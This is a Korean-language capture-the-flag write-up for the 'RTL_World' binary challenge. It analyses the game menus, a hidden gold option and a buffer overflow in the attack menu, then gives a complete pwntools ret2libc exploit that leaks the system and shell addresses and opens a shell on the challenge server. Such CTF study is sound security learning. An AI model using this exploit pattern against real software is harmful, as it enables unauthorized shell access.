RTL_World

1. Mitigation

GOT Overwrite가 가능하고 실행 권한이 없다.
2. 문제 확인

프로그램을 실행시켜 보면 NPC의 설명이 나오면서 골드와 여러가지의 메뉴가 나온다. 우리의 목표는 바이너리 보스를 죽이는거 같다.
1. 보스의 정보를 알려주는 메뉴
2. 돈을 얻는 메뉴
3. 시스템 아머를 얻는다는데 아마도 시스템 주소를 Get하는 메뉴인거 같다.
4. 쉘 스워드는 쉘 주소를 Get하는 메뉴인거 같다.
5. 5번 메뉴를 통해 공격을 시도 할것이다.
우리의 추측이 맞는지 IDA로 좀더 자세하게 분석해보자.
3. 풀이


메인 함수 영역에서 여러가지 동작을한다.
1. NPC의 메시지가 출력해준다.
2. while문에서는 메뉴를 통해 입력을 받는데 1번을 입력하면 메모리 보호기법 유무와 버퍼의 주소 버퍼의 길이를 알려준다.
3. 2번 메뉴는 돈을 얻는 메뉴이다.
4. 3번은 1999 골드가 있으면 골드를 사용하고 시스템 주소를 얻을 수 있다 골드가 없다면 돈이 없다고 한다.
5. 4번은 3번과 마찬가지로 돈이 있으면 쉘 주소를 얻을 수 있고 없다면 돈이 없다고 한다.
6. 5번에서 Buffer Overflow가 발생한다.


Get_Money 함수를 살펴보면 자본주의 세계라고 출력하고 파밍, 아이템 팔기, 사냥을 선택하게 메뉴를 출력해준다. 천천히 살펴보자.
1. 선택한 메뉴가 2번과 같으면 아이템을 팔고 350 골드를 획득한다.
2. 선택한 메뉴가 3번 이라면 사냥을하고 500 골드를 획득
3. 여기서 히든 넘버가 숨겨져있다 4번을 선택하면 Hidden number! 등 여러가지 메시지를 출력하고 골드를 준다.

4를 입력하니 엄청 많은 골드를 준다. 이를 이용하여 시스템 주소와 쉘 주소를 얻으면 될거 같다.
4. 1번을 선택하면 파밍을하고 100 골드를 획득한다.
그렇다면 이제 골드를 획득하는 방법을 알았으니 골드를 이용하여 시스템 주소, 쉘 주소를 얻고 5번 메뉴의 버퍼 오버플로우를 통해 한번 공격해보자. (보스의 체력은 140 + 아머 4) 이다.
exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3010)
elf = ELF('./rtl_world')
r.sendlineafter('>>>', str(2)) # Make Money
r.sendlineafter('>>>', str(4)) # hidden number
r.sendlineafter('>>>', str(3)) # Get System addr
print r.recvuntil(': ')
system = int(r.recv(10), 16)
r.sendlineafter('>>>', str(4)) # Get Shell addr
print r.recvuntil(': ')
shell = int(r.recv(10), 16)
log.info('system: ' + hex(system))
log.info('shell: ' + hex(shell))
payload = 'A'*144 # boss hp + armor
payload += p32(system)
payload += p32(0)
payload += p32(shell)
r.sendlineafter('>>>', str(5)) # kill boss
r.sendline(payload)
r.interactive()
